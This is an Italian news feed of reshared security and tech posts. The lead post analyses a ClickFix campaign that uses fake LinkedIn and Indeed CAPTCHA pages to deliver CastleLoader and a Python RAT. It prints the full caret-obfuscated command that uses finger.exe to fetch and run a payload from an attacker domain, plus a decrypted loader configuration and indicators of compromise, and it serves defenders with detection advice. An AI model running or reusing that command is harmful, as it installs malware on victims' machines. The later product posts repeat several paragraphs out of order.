Dario Fadda ha ricondiviso questo.

ClickFix si mette in cerca di lavoro: falsi annunci LinkedIn e Indeed per distribuire CastleLoader e RAT Python


LevelBlue SpiderLabs analizza una nuova variante ClickFix (maggio 2026) che usa siti typosquattati imitanti LinkedIn e Indeed, il protocollo Finger e runtime Python portatili per distribuire il framework MaaS CastleLoader e un RAT Python con C2 via WebSocket. Catena d'attacco multi-stadio completamente fileless con cifratura ChaCha20/RC4.
The media in this post is not displayed to visitors. To view it, please go to the original post.

Il team CTI di LevelBlue SpiderLabs ha pubblicato un’analisi approfondita di una nuova variante della campagna ClickFix, comparsa in maggio 2026, che utilizza siti typosquattati impersonanti LinkedIn e Indeed per distribuire un framework MaaS denominato CastleLoader e un Remote Access Trojan (RAT) scritto in Python. La catena d’attacco combina l’abuso del protocollo Finger, esecuzione fileless tramite runtime Python portatili, cifratura ChaCha20/RC4 e comunicazioni C2 via WebSocket.

Vettore iniziale: falsi CAPTCHA su cloni di LinkedIn e Indeed


L’attacco inizia con URL di phishing su domini typosquattati che imitano LinkedIn e Indeed (linkedall[.]org, uslinked[.]org, linked-on[.]com, indeed-jobs[.]net). Le URL includono parametri Google Ads (gclid, gbraid, gad_campaignid), indicando distribuzione tramite ecosistemi di advertising. Un parametro custom &verification=robot è necessario affinché il server risponda con la catena ClickFix — probabilmente come misura anti-analisi.

La pagina di atterraggio mostra un finto CAPTCHA Cloudflare Turnstile. JavaScript embedded recupera il contenuto di secondo stadio da un endpoint PHP, applica ROT13 per decodificare la risposta, e inietta l’output nel DOM a runtime. Quando l’utente interagisce con il box CAPTCHA, un payload viene copiato nella clipboard tramite document.execCommand("copy").

Stage 3: il protocollo Finger come vettore LOLBin


L’elemento tecnico più rilevante di questa variante è l’abuso del protocollo Finger (porta 79) — un protocollo legacy degli anni ’70 che molti ambienti Windows mantengono abilitato per retrocompatibilità. Il comando copiato nella clipboard utilizza finger.exe, nativo di Windows, per recuperare il payload:

%COMSPEC% /c s^t^a^r^t "" /min for /f "skip=25 delims=" %e in ('f^^i^^n^^g^^e^^r wCeFgncRwB@f^^i^^n^^g^^e^^r^^.^^uslinked[.]org') do %e

Il comando è ulteriormente offuscato con caratteri caret (^) per eludere il pattern matching dei prodotti di sicurezza. Una volta eseguito dall’utente — che preme ENTER credendo di completare la verifica CAPTCHA — il sistema scarica ed esegue il payload successivo tramite strumenti di sistema legittimi (Living-off-the-Land), rendendo il processo quasi invisibile agli EDR che non monitorano le connessioni finger.exe in uscita.

Catena di staging: Python runtime portatili e curl hijacking


Il malware copia curl.exe di sistema con un filename randomizzato a 18 cifre sotto %LocalAppData%, scarica runtime Python portatili da python.org e GitHub (IronPython) salvandoli con estensione .pdf, e li estrae tramite tar.exe nativo. Il processo uccide e riavvia explorer.exe per disorientare l’utente. I runtime Python rinominati eseguono poi codice inline che decomprime un blob Base64+zlib e lancia il payload in memoria — fileless execution pura, senza file eseguibili su disco.

  • CPython embedded: %LocalAppData%\python-3.15.0a1-embed-win32.pdf
  • IronPython: %LocalAppData%\IronPython.3.4.2.pdf


CastleLoader: framework MaaS con cifratura ChaCha20


Il payload di quinto stadio è CastleLoader, un framework Malware-as-a-Service per deployment flessibile di malware downstream. I primi 64 byte del blob scaricato fungono da chiave RC4 per decriptare CastleLoader stesso. Esempio di configurazione decifrata:

URL:          hXXps://sedaliarealty[.]net/1ed3c2fc-f870-5522-a6bd-71c0a4d78ddd
campaign_id:  028aaf61-fef2-525a-9a95-7cd10db2e166
mutex_name:   DE6TZHGHlXfrbvmQdHxJIb035
chacha_key:   0x0DF4397FDB725731AE751503C0FEFDCDB5F2967286379F7D662C297D41F07A15
chacha_nonce: 0x17612E6D4D22AC64AB157E3C

Tutta la comunicazione C2 successiva è cifrata con ChaCha20. Il loader invia al server il profilo del sistema infetto (username, hostname, dominio, versione Windows, architettura, AV installati) e riceve task strutturati. Le capability configurabili includono: anti-VM tramite cpuid, screenshot desktop tramite GDI BitBlt, enumerazione AV via WMI (root\SecurityCenter2), elevazione privilegi con “runas”, watchdog che rilancia continuamente il processo figlio.

Payload finale: RAT Python con C2 WebSocket


Il payload finale è un RAT scritto in Python (bytecode .pyc) con C2 via WebSocket cifrato attraverso WinHTTP APIs. Il traffico C2 inbound è ulteriormente offuscato tramite XOR. Le funzionalità principali includono shell interattiva con relay stdin/stdout verso il C2, esecuzione in-memory di payload aggiuntivi, persistenza tramite mutex e watchdog con rilancio automatico, e raccolta approfondita di informazioni di sistema. I file di staging sono in directory caratteristiche sotto %ProgramData%: Ccrreewwll, NewKevinNotAnother, NewestWorkiNaprav.

Indicatori di compromissione (IoC)

# Domini phishing e C2
linkedall[.]org
uslinked[.]org
linked-on[.]com
indeed-jobs[.]net
kevinnotanother[.]com
sedaliarealty[.]net
catalyst-ltd[.]net
# Hash SHA-256
cd4a51037bf58733c0cb24b273951dd3fcea45a2aaeb8b30a3c625e183c4c0c7
d56b810dfacaa1630bf562ccdefd46835349710d9516334e1a182619335ddea7
# Endpoint UUID-based C2
95126aeb-4120-56b1-8c9e-63fdf0c0b6f9
ebd417db-979c-51f8-aedf-88a2bf8aa6c3
6d6d2d17-d270-59c6-8b75-df011af08e58
# Directory staging
C:\ProgramData\Ccrreewwll\
C:\ProgramData\NewKevinNotAnother\
C:\ProgramData\NewestWorkiNaprav\
# File Python bytecode
(main|install|play).pyc

Due righe per i difensori


Il blocco delle connessioni in uscita su porta 79 (Finger) è una misura difensiva immediata con impatto operativo quasi nullo. Sono ad alta fedeltà per la detection: processi Python con argomenti -c inline contenenti base64/zlib, copia di curl.exe in directory utente con nomi randomizzati numerici, creazione delle directory specifiche sotto %ProgramData%, e connessioni WebSocket verso domini recentemente registrati. Gli ambienti che bloccano l’esecuzione di runtime Python non firmati e limitano l’accesso a %LocalAppData% per applicazioni non autorizzate risultano significativamente più resilienti a questo vettore.

Fonte: LevelBlue SpiderLabs Blog — King Orande e Cris Tomboc, 4 giugno 2026

reshared this

Dario Fadda ha ricondiviso questo.

Spie cinesi su LinkedIn: il Five Eyes documenta le campagne di recruiters falsi dell’intelligence militare di Pechino


FBI, MI5, ASIO, CSIS e NZSIS emettono un alert congiunto: ufficiali dell'intelligence militare cinese si fingono recruiter su LinkedIn, Indeed e Upwork per sottrarre informazioni classificate a personale governativo e militare. La tecnica del trial report gradualmente piu' intrusivo e' documentata nell'advisory del 3 giugno 2026.
The media in this post is not displayed to visitors. To view it, please go to the original post.

Le agenzie di intelligence dei cinque paesi alleati — FBI (USA), MI5 (UK), ASIO (Australia), CSIS (Canada) e NZSIS (Nuova Zelanda) — hanno emesso un alert congiunto che documenta come ufficiali dell’intelligence militare cinese si fingano recruiter professionisti su LinkedIn, Indeed e Upwork per sottrarre informazioni classificate a personale governativo, militare e della difesa. La minaccia non è nuova, ma la scala e la sofisticazione raggiunte nel 2026 rendono questo advisory un documento imprescindibile per chi opera nella sicurezza nazionale e nella protezione delle informazioni.

Il modus operandi: dal curriculum all’intelligence


Il pattern operativo identificato dal Five Eyes è elegante nella sua semplicità. Gli ufficiali dell’intelligence cinese — appartenenti ai Military Intelligence Services di Pechino — creano profili verosimili su piattaforme di recruiting professionale, impersonando think tank, società di consulenza private e agenzie HR specializzate in analisi geopolitica e difesa.

I profili di lavoro pubblicati riguardano tipicamente posizioni come “analista di politica estera”, “esperto di difesa per la regione Indo-Pacifica” o “ricercatore senior di relazioni bilaterali”. Il target non è casuale: i candidati vengono classificati in base al potenziale accesso a informazioni sensibili, attraverso l’analisi dei curriculum ricevuti. Chi detiene security clearance, lavora in agenzie governative o ha contatti con strutture militari sale automaticamente in cima alla lista degli obiettivi. L’advisory specifica che le piattaforme utilizzate includono LinkedIn, Indeed e Upwork, e che i candidati vengono anche contattati direttamente in base alla rilevanza dei loro profili pubblici.

La trappola del “trial report”


Una volta identificato il candidato di interesse, il processo si articola in fasi successive che servono a costruire fiducia e normalizzare richieste di informazioni progressivamente più sensibili. I selezionatori organizzano colloqui virtuali durante i quali nascondono la propria identità reale, sondando le conoscenze dell’interlocutore e il suo accesso a personale e risorse governative.

Il punto critico è il cosiddetto “trial report”: ai candidati viene chiesto di scrivere un saggio di prova su temi come le relazioni bilaterali della Cina, la situazione nell’Indo-Pacifico o questioni di commercio internazionale e difesa. Accettato il primo elaborato, le richieste successive si fanno progressivamente più intrusive: ai candidati viene comunicato che i report “devono includere informazioni più privilegiate” per ricevere compensi più elevati.

A questo punto la comunicazione viene spostata su piattaforme di messaggistica cifrata. I compensi variano da qualche centinaio a diverse migliaia di dollari per report, pagati attraverso canali difficilmente tracciabili: PayPal, Payoneer, Zelle, Skrill, Wise, Western Union, e-transfer e criptovalute. I pagamenti vengono spesso effettuati da account di terze parti estranee al processo di recruiting — una classica tecnica di compartimentazione operativa che complica la tracciabilità e la raccolta di prove.

Il valore strategico dell’informazione non classificata


Uno degli aspetti più significativi dell’advisory è l’enfasi sul valore dell’informazione non classificata. Il Five Eyes avverte esplicitamente che “anche le informazioni non classificate fornite dai candidati vengono probabilmente raccolte e combinate con dati più sensibili”. Questa prospettiva sfida il tradizionale approccio alla sicurezza delle informazioni, che tende a concentrarsi esclusivamente sulla protezione dei materiali classificati.

Steve Povolny di Exabeam ha commentato l’alert sottolineando come queste piattaforme stiano diventando veri e propri “ambienti di raccolta intelligence” che consentono a operatori stranieri di reclutare individui senza mai alzarsi dalla scrivania: “La minaccia insider non è più confinata ai dipendenti che rubano intenzionalmente segreti. Gli avversari prendono di mira l’intero ecosistema che circonda le informazioni sensibili — appaltatori, ex funzionari governativi, accademici, ricercatori, giornalisti ed esperti di settore che possono possedere solo frammenti di conoscenza preziosa, ma che una volta aggregati diventano intelligence operativa di valore strategico.”

Contesto storico: una tecnica scalabile e difficile da contrastare


L’uso di false opportunità lavorative come vettore di spionaggio è documentato da anni in diversi threat actor state-sponsored. Il FBI ha già messo in guardia contro operazioni analoghe attribuite alla Corea del Nord — celebri le campagne del Lazarus Group contro sviluppatori blockchain tramite finti colloqui tecnici — e all’Iran con Charming Kitten contro ricercatori nucleari e funzionari governativi. La specificità di questo advisory è l’attribuzione esplicita ai Military Intelligence Services cinesi e la documentazione di come le piattaforme di recruiting professionale siano diventate infrastrutture di raccolta intelligence sistematiche.

L’alert del 3 giugno 2026 — disponibile come PDF sul portale IC3 dell’FBI — è uno dei rari momenti in cui i cinque paesi del network di intelligence condividono pubblicamente dettagli operativi su campagne attive. La scelta di rendere pubblico l’advisory suggerisce che la portata e il ritmo di queste attività abbiano raggiunto una soglia tale da giustificare un’operazione di sensibilizzazione coordinata a livello internazionale.

Raccomandazioni operative per le organizzazioni


Il Five Eyes individua come segnali d’allarme primari gli approcci non sollecitati da recruiter per posizioni che richiedono analisi di tematiche geopolitiche sensibili, le richieste di spostare le comunicazioni su app di messaggistica cifrata, le richieste di produrre report che includano informazioni “privilegiate” o “interne”, e i pagamenti attraverso piattaforme terze o criptovalute da parti non direttamente coinvolte nel recruiting.

Per i responsabili della sicurezza organizzativa, l’advisory suggerisce di implementare programmi di sensibilizzazione specifici per i dipendenti con accesso a informazioni sensibili, con enfasi sul rischio rappresentato dalle piattaforme di networking professionale. La verifica dell’identità dei recruiter, la segnalazione degli approcci sospetti alle funzioni di sicurezza interne e il rispetto rigoroso delle politiche sull’uso dei social media professionali sono le contromisure fondamentali indicate.

Fonti: Five Eyes Joint Advisory — IC3/FBI, 3 giugno 2026 | SecurityWeek

reshared this

Dario Fadda ha ricondiviso questo.

Microsoft Build 2026: sette modelli MAI frontier, Frontier Tuning e agenti enterprise


Al Microsoft Build 2026 sono stati presentati i modelli MAI: sette modelli AI frontier addestrati da zero, con MAI-Thinking-1 da 35B parametri, Frontier Tuning per personalizzazione enterprise e integrazione nativa in VS Code, GitHub Copilot e Azure.
The media in this post is not displayed to visitors. To view it, please go to the original post.

Al Microsoft Build 2026, tenutosi il 2 giugno a Fort Mason Center di San Francisco, Satya Nadella ha presentato MAI (Microsoft AI): una nuova famiglia di modelli frontier sviluppati internamente da Microsoft, progettati per carichi di lavoro enterprise con enfasi su efficienza hardware, sovranità dei dati e personalizzazione profonda. Sette modelli, tutti addestrati da zero, con capacità che spaziano dal ragionamento avanzato alla visione artificiale, dalla trascrizione vocale alla generazione.

La famiglia MAI: sette modelli addestrati da zero


A differenza dei modelli GPT che alimentano Copilot attraverso la partnership con OpenAI, i modelli MAI sono sviluppati interamente da Microsoft. La lineup comprende:

  • MAI-Thinking-1: il modello di ragionamento di punta, con 35 miliardi di parametri attivi (architettura Mixture of Experts), finestra di contesto da 256K token. Progettato per task complessi di reasoning e coding, con performance comparabili a modelli di dimensioni maggiori sul mercato.
  • MAI-Code: ottimizzato per la programmazione, con contesto da 200K token per ingerire interi codebase durante le sessioni di refactoring o analisi del codice.
  • MAI-Vision: modello multimodale per l’elaborazione di immagini, video e testo in modo unificato.
  • MAI Nano, Core e Pro: tre tier dimensionali ottimizzati rispettivamente per dispositivi on-device (NPU), server enterprise mid-tier e orchestrazione massiva multi-agente fino a 32 catene parallele.
  • Modelli specializzati per trascrizione, sintesi vocale e altre attività di elaborazione audio-visiva.

Un differenziatore chiave è la co-progettazione hardware-software: i modelli MAI sono ottimizzati per girare sul chip Maia 200 di Microsoft, con un vantaggio significativo in termini di performance per watt rispetto alle soluzioni GPU tradizionali.

Frontier Tuning: personalizzazione profonda per l’enterprise


Oltre ai modelli base, Microsoft ha introdotto il Frontier Tuning, una metodologia che consente alle organizzazioni di addestrare versioni specializzate dei modelli MAI usando i propri dati operativi.

L’intuizione alla base è che il dato più prezioso non sono i corpora generali, ma le traiettorie reali degli agenti in esecuzione all’interno dell’organizzazione: i passi compiuti, le decisioni prese, i workflow completati. Questi dati permettono di creare modelli altamente specializzati che superano le alternative general-purpose sul dominio specifico, a una frazione del costo.

Un caso concreto già citato da Microsoft: McKinsey, dopo l’adozione del Frontier Tuning, ha ottenuto il tasso di successo più alto tra tutti i modelli testati, con una riduzione dei costi di circa 10 volte rispetto alle alternative.

Reinforcement Learning Environments (RLEs) per agenti specializzati


Microsoft ha introdotto anche gli RLE (Reinforcement Learning Environments): ambienti di addestramento che permettono di creare agenti altamente specializzati per task aziendali specifici. Gli RLE consentono di fare frontier tuning producendo modelli custom in grado di superare le alternative general-purpose rimanendo significativamente più efficienti in termini di costo.

Tra le partnership annunciate spicca quella con la Mayo Clinic, finalizzata allo sviluppo di un modello frontier specializzato per la sanità globale e la sicurezza dei pazienti.

Integrazione nell’ecosistema Microsoft


I modelli MAI non esistono come prodotto standalone: sono integrati trasversalmente nell’ecosistema Microsoft:

  • GitHub Copilot: MAI-Code e MAI-Thinking-1 sono disponibili come provider nel menù di selezione modello di Copilot.
  • Visual Studio e VS Code: integrazione nativa con il workflow di sviluppo, inclusi i Team Agents di Visual Studio 2026 (code reviewer, test architect, compliance officer come agenti persistenti dentro l’IDE).
  • Azure AI Foundry: i modelli MAI sono accessibili tramite API con le stesse interfacce degli altri modelli hosted su Azure, facilitando la migrazione e l’integrazione.
  • Windows Agent Framework: MAI Nano gira direttamente su dispositivi Windows 11 con NPU, abilitando AI on-device sotto i 200ms di latenza.


Trust, governance e sovranità dei dati


Un tema centrale del lancio è la fiducia enterprise. Ogni modello MAI viene distribuito con un trust rubric: un file di policy machine-readable che definisce cosa il modello può accedere, come gestisce i dati personali (PII) e a quali framework di compliance aderisce.

Questa separazione tra pesi del modello e vincoli operativi permette a settori regolamentati (banking, sanità, pubblica amministrazione) di deployare MAI con la certezza che il modello non esfiltrerà dati verso database esterni al tenant.

Sul fronte sicurezza applicativa, Microsoft ha presentato anche MXC (Managed Execution Containers): container integrati in Windows con policy-driven isolation per l’esecuzione sicura degli agenti, e Verity, uno strumento di governance per workflow agentici auditabili.

Prospettive per sviluppatori e sysadmin


Il lancio dei modelli MAI segna un cambio di strategia significativo per Microsoft: da puro distributore di capacità AI di terze parti (OpenAI) a produttore di modelli proprietari per scenari enterprise. Per i professionisti IT, le implicazioni pratiche più immediate sono:

  • Disponibilità di un modello di ragionamento competitivo direttamente su Azure, senza dipendenza dalla roadmap OpenAI.
  • Possibilità concreta di customizzare modelli su dati aziendali proprietari con garanzie di data sovereignty.
  • Integrazione nativa nel toolchain già in uso (VS Code, GitHub, Azure) senza cambiamenti infrastrutturali.
  • AI on-device su Windows 11 NPU per scenari a bassa latenza o con requisiti di privacy stringenti.

I modelli MAI sono disponibili in preview su Azure AI Foundry. Il Frontier Tuning è accessibile in anteprima per i clienti enterprise selezionati.


Fonte: Microsoft Build 2026 Blog · 4sysops · Windows News

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

GitHub Copilot come agente di modernizzazione .NET: addio al .NET Upgrade Assistant


Il .NET Upgrade Assistant è ufficialmente deprecato: GitHub Copilot App Modernization diventa l'agente AI per migrare applicazioni .NET Framework a .NET 10, con supporto per ASP.NET, Windows Forms, Web Forms verso Blazor e integrazione di Aspire.
The media in this post is not displayed to visitors. To view it, please go to the original post.

A Microsoft Build 2026, Microsoft ha confermato ufficialmente che il .NET Upgrade Assistant è deprecato. Al suo posto, il nuovo GitHub Copilot App Modernization diventa lo strumento di riferimento per migrare applicazioni .NET legacy verso versioni moderne del framework. Non si tratta di un semplice rebranding: il passaggio da un tool rule-based a un agente AI rappresenta un cambiamento di approccio profondo, con implicazioni pratiche significative per chi gestisce codebase enterprise datate.

Perché il .NET Upgrade Assistant non bastava più


Il .NET Upgrade Assistant, disponibile dalla versione 5 in poi, funzionava tramite un insieme di regole predefinite: identificava i pacchetti incompatibili, aggiornava i target framework, eseguiva trasformazioni note su file di configurazione. Questo approccio funzionava bene per migrazioni standard e poco complesse, ma mostrava i suoi limiti di fronte a pattern architetturali non canonici, codice con dipendenze circolari o applicazioni fortemente accoppiate a funzionalità specifiche di .NET Framework.

Un agente AI, invece, può leggere il contesto, comprendere l’intento del codice, gestire casi edge e iterare sugli errori di compilazione in modo autonomo — qualcosa che un sistema basato su regole non può fare per definizione.

Come funziona GitHub Copilot App Modernization


L’agente è integrato direttamente in Visual Studio 2026 (e Visual Studio 2022 versione 17.14.17 o superiore) e accessibile dalla palette dei comandi di GitHub Copilot. Il flusso di lavoro tipico è il seguente:

  1. Si apre il progetto o la solution da migrare in Visual Studio.
  2. Si avvia una conversazione con GitHub Copilot specificando l’obiettivo di modernizzazione (es. “migra questa applicazione ASP.NET MVC a .NET 10”).
  3. L’agente analizza il codebase, identifica le dipendenze da aggiornare, le API deprecate e i pattern non compatibili.
  4. Esegue le modifiche necessarie in autonomia, tenta la compilazione e, in caso di errori, itera per risolverli.
  5. Il processo continua finché la compilazione non ha successo o finché non è necessario l’intervento umano.

Il punto chiave è l’iterazione automatica sugli errori di build: l’agente non si limita ad applicare una serie di patch e consegnare il risultato, ma verifica attivamente che il codice compili correttamente dopo ogni modifica, riprovando con approcci diversi in caso di fallimento.

Scenari di modernizzazione supportati


L’agente copre una gamma ampia di scenari di migrazione .NET:

Migrazione del framework target


Il caso d’uso principale è la migrazione da .NET Framework (4.x) a .NET 8, 9 o 10. L’agente supporta i seguenti tipi di applicazione:

  • ASP.NET MVC e Web API: migrazione alla versione corrispondente in ASP.NET Core.
  • Windows Forms e WPF: migrazione a .NET 8/9/10 mantenendo il runtime Windows.
  • Azure Functions: aggiornamento al modello isolated worker process.
  • Web Forms → Blazor: supporto in arrivo; sarà possibile migrare applicazioni Web Forms verso Blazor, che rappresenta il percorso di modernizzazione più naturale per questo stack.


Conversione SDK-style


Le applicazioni .NET Framework usano ancora i vecchi file .csproj in formato XML verboso. L’agente esegue la conversione al formato SDK-style, molto più compatto e leggibile, rimuovendo riferimenti espliciti a file, gestendo i PackageReference e allineando la struttura del progetto agli standard moderni.

Integrazione di .NET Aspire


Uno degli scenari più interessanti è l’integrazione di .NET Aspire in applicazioni esistenti. L’agente può aggiungere Aspire a un’applicazione legacy, configurando l’AppHost, i service discovery e i componenti di observability (OpenTelemetry, health checks) senza dover ripartire da zero. Per team che vogliono portare in produzione applicazioni cloud-ready mantenendo il codebase esistente, questo è un cambio significativo.

Aggiornamenti di librerie e pacchetti


L’agente gestisce anche scenari più circoscritti come:

  • Migrazione da Newtonsoft.Json a System.Text.Json.
  • Aggiornamento di Microsoft.Data.SqlClient.
  • Upgrade da Semantic Kernel al nuovo Microsoft Agent Framework.


Pre-build error checking in Visual Studio 2026


Parallelamente all’agente di modernizzazione, Visual Studio 2026 introduce una funzionalità di pre-build error checking: Visual Studio identifica errori e warning prima ancora che la build venga avviata, riducendo il ciclo di feedback per lo sviluppatore. La combinazione di questa funzionalità con l’agente di modernizzazione — che itera sugli errori di compilazione in autonomia — crea un loop di sviluppo più rapido e meno dipendente dal tempo di compilazione completa.

AI-assisted merge conflict resolution


Un’altra novità annunciata a Build 2026 per Visual Studio è il supporto all’AI-assisted conflict resolution: GitHub Copilot partecipa attivamente alla risoluzione dei merge conflict, aiutando lo sviluppatore a comprendere la natura del conflitto e suggerendo la risoluzione più appropriata in base al contesto del codice. Non sostituisce la decisione umana — il developer mantiene il controllo finale — ma riduce significativamente il tempo necessario per analizzare conflitti complessi in codebase di grandi dimensioni.

Come iniziare


Per usare GitHub Copilot App Modernization è necessario:

  1. Avere Visual Studio 2026 (o Visual Studio 2022 17.14.17+) con l’estensione GitHub Copilot installata.
  2. Una sottoscrizione GitHub Copilot attiva (Business o Enterprise per i team).
  3. Aprire la solution da migrare e avviare una chat con Copilot descrivendo il tipo di migrazione desiderata.

La documentazione ufficiale è disponibile su Microsoft Learn nella sezione GitHub Copilot modernization overview.

Considerazioni pratiche per team enterprise


La deprecazione del .NET Upgrade Assistant può sorprendere chi lo usa in pipeline CI/CD per automatizzare migrazioni. È importante notare che l’agente Copilot è uno strumento interattivo, pensato per lavorare con uno sviluppatore nel loop: non è un tool da riga di comando eseguibile in modo completamente non presidiato. Per le pipeline di migrazione automatizzate, almeno nella fase attuale, sarà necessario valutare approcci ibridi.

Sul fronte dei costi, l’agente usa il credito Copilot come qualsiasi altra funzionalità AI: le sessioni di modernizzazione complesse, che coinvolgono molte iterazioni di analisi e correzione, possono consumare una quantità significativa di token. Vale la pena fare un test su un progetto pilota prima di pianificare la migrazione di una solution enterprise complessa.

Conclusione


Il passaggio dal .NET Upgrade Assistant a GitHub Copilot App Modernization segna la maturità dell’approccio AI-first nella gestione del debito tecnico. Un agente che legge il codice, comprende il contesto, esegue le modifiche e itera sugli errori di compilazione in autonomia è concettualmente diverso da qualsiasi tool rule-based precedente. Per i team che gestiscono applicazioni .NET Framework legacy, vale la pena esplorare questo strumento — soprattutto per scenari come la migrazione Web Forms verso Blazor e l’integrazione di Aspire, che storicamente richiedevano sforzi manuali considerevoli.

Fonti: Visual Studio Microsoft Build 2026 Announcements | GitHub Copilot App Modernization — Microsoft Learn

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

Xiaomi 18 Pro: display posteriore da 4 pollici e AI avanzata per il prossimo flagship


Si inizia a delineare il profilo del prossimo flagship di Xiaomi: il Xiaomi 18 Pro, atteso per settembre 2026, potrebbe portare una delle evoluzioni più visibili degli ultimi anni nel design degli smartphone top di gamma. Secondo le ultime indiscrezioni, il display posteriore passerà da 2,7 a 4 pollici, portando con sé nuove funzioni AI e protezioni per la privacy. Un sub-display quasi quanto lo schermo di uno smartwatch L'informatore cinese "Smart Pikachu" riferisce che lo Xiaomi 18 Pro […]
The media in this post is not displayed to visitors. To view it, please go to the original post.

Il display posteriore diventa una “smart window” AI


Xiaomi sembra voler trasformare il display posteriore da semplice schermo per notifiche a una vera e propria finestra intelligente alimentata dall’AI. Già oggi lo Xiaomi 17 Pro offre funzioni come traduzione in tempo reale, teleprompter e widget personalizzabili. Con un pannello da 4 pollici, queste funzionalità diventerebbero molto più fruibili, e l’integrazione con l’assistente AI potrebbe portare a interazioni contestuali più avanzate.

Fotocamere da 200 MP e connessione con il sub-display


Stando ad altri leak recenti, lo Xiaomi 18 Pro Max potrebbe arrivare con una fotocamera principale e un teleobiettivo entrambi da 200 MP. Il display posteriore, in questo scenario, diventerebbe anche un utilissimo schermo di anteprima per i selfie scattati con le fotocamere posteriori — un uso pratico che potrebbe convincere anche gli utenti più scettici.

Tutte le informazioni sono ancora a livello di rumor, ma la direzione sembra chiara: Xiaomi punta a fare del display posteriore un elemento distintivo e funzionale del suo prossimo flagship, non solo una trovata estetica. L’appuntamento con la presentazione ufficiale è atteso per settembre.

Un sub-display quasi quanto lo schermo di uno smartwatch


L’informatore cinese “Smart Pikachu” riferisce che lo Xiaomi 18 Pro monterà un pannello secondario da 4 pollici sul retro, contro i 2,7 pollici del modello Xiaomi 17 Pro. Non si tratta solo di un incremento dimensionale: il nuovo schermo sarà ad alta luminosità, ad alta definizione, con cornici arrotondate e funzionalità di tutela della privacy. La differenza rispetto alle generazioni precedenti è significativa sia esteticamente che praticamente.

Il display posteriore diventa una “smart window” AI


Xiaomi sembra voler trasformare il display posteriore da semplice schermo per notifiche a una vera e propria finestra intelligente alimentata dall’AI. Già oggi lo Xiaomi 17 Pro offre funzioni come traduzione in tempo reale, teleprompter e widget personalizzabili. Con un pannello da 4 pollici, queste funzionalità diventerebbero molto più fruibili, e l’integrazione con l’assistente AI potrebbe portare a interazioni contestuali più avanzate.

Fotocamere da 200 MP e connessione con il sub-display


Stando ad altri leak recenti, lo Xiaomi 18 Pro Max potrebbe arrivare con una fotocamera principale e un teleobiettivo entrambi da 200 MP. Il display posteriore, in questo scenario, diventerebbe anche un utilissimo schermo di anteprima per i selfie scattati con le fotocamere posteriori — un uso pratico che potrebbe convincere anche gli utenti più scettici.

Tutte le informazioni sono ancora a livello di rumor, ma la direzione sembra chiara: Xiaomi punta a fare del display posteriore un elemento distintivo e funzionale del suo prossimo flagship, non solo una trovata estetica. L’appuntamento con la presentazione ufficiale è atteso per settembre.

Si inizia a delineare il profilo del prossimo flagship di Xiaomi: il Xiaomi 18 Pro, atteso per settembre 2026, potrebbe portare una delle evoluzioni più visibili degli ultimi anni nel design degli smartphone top di gamma. Secondo le ultime indiscrezioni, il display posteriore passerà da 2,7 a 4 pollici, portando con sé nuove funzioni AI e protezioni per la privacy.

Un sub-display quasi quanto lo schermo di uno smartwatch


L’informatore cinese “Smart Pikachu” riferisce che lo Xiaomi 18 Pro monterà un pannello secondario da 4 pollici sul retro, contro i 2,7 pollici del modello Xiaomi 17 Pro. Non si tratta solo di un incremento dimensionale: il nuovo schermo sarà ad alta luminosità, ad alta definizione, con cornici arrotondate e funzionalità di tutela della privacy. La differenza rispetto alle generazioni precedenti è significativa sia esteticamente che praticamente.

Il display posteriore diventa una “smart window” AI


Xiaomi sembra voler trasformare il display posteriore da semplice schermo per notifiche a una vera e propria finestra intelligente alimentata dall’AI. Già oggi lo Xiaomi 17 Pro offre funzioni come traduzione in tempo reale, teleprompter e widget personalizzabili. Con un pannello da 4 pollici, queste funzionalità diventerebbero molto più fruibili, e l’integrazione con l’assistente AI potrebbe portare a interazioni contestuali più avanzate.

Fotocamere da 200 MP e connessione con il sub-display


Stando ad altri leak recenti, lo Xiaomi 18 Pro Max potrebbe arrivare con una fotocamera principale e un teleobiettivo entrambi da 200 MP. Il display posteriore, in questo scenario, diventerebbe anche un utilissimo schermo di anteprima per i selfie scattati con le fotocamere posteriori — un uso pratico che potrebbe convincere anche gli utenti più scettici.

Tutte le informazioni sono ancora a livello di rumor, ma la direzione sembra chiara: Xiaomi punta a fare del display posteriore un elemento distintivo e funzionale del suo prossimo flagship, non solo una trovata estetica. L’appuntamento con la presentazione ufficiale è atteso per settembre.

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

RedMagic Gaming Tablet 5 Pro: OLED da 9 pollici a 185 Hz e Snapdragon 8 Elite Gen 5 in arrivo


Gli appassionati di gaming su Android possono già scaldare i motori: RedMagic Gaming Tablet 5 Pro è comparso nelle certificazioni cinesi e il produttore ha già annunciato un lancio previsto per questo mese di giugno. Le specifiche trapelate lo descrivono come il tablet Android più potente mai realizzato. Display OLED da 9 pollici con 185 Hz di refresh Uno dei dettagli più sorprendenti è il pannello OLED da 9 pollici con frequenza di aggiornamento di 185 Hz. Si tratta di un valore […]
The media in this post is not displayed to visitors. To view it, please go to the original post.

Batteria da 8.300 mAh e ricarica da 80W


La batteria è da circa 8.300 mAh, una capienza adeguata per sessioni di gioco prolungate. La certificazione 3C ha anche confermato il supporto alla ricarica rapida da 80W, un valore che permette di ricaricare il dispositivo in tempi contenuti nonostante l’ampia batteria.

Successore del Gaming Tablet 3 Pro


Il RedMagic Gaming Tablet 5 Pro è il successore del Gaming Tablet 3 Pro e potrebbe corrispondere al modello noto come “RedMagic Astra” nei mercati internazionali. RedMagic non ha ancora fissato una data precisa, ma l’avvenuta certificazione suggerisce che il lancio in Cina sia imminente. Il predecessore era disponibile anche a livello globale, quindi è plausibile aspettarsi la stessa cosa per questo nuovo modello.

Con OLED a 185 Hz, chip di ultima generazione e fino a 24 GB di RAM, il RedMagic Gaming Tablet 5 Pro si prepara a ridefinire gli standard del gaming mobile su Android.

Snapdragon 8 Elite Gen 5 e raffreddamento liquido


Sotto il cofano dovrebbe trovare spazio il nuovissimo Snapdragon 8 Elite Gen 5, il chip di punta di Qualcomm di prossima generazione. Per gestire le temperature durante le sessioni intensive, il tablet integrerà un sistema di raffreddamento liquido. Le configurazioni previste arrivano fino a 24 GB di RAM e 1 TB di storage.

Batteria da 8.300 mAh e ricarica da 80W


La batteria è da circa 8.300 mAh, una capienza adeguata per sessioni di gioco prolungate. La certificazione 3C ha anche confermato il supporto alla ricarica rapida da 80W, un valore che permette di ricaricare il dispositivo in tempi contenuti nonostante l’ampia batteria.

Successore del Gaming Tablet 3 Pro


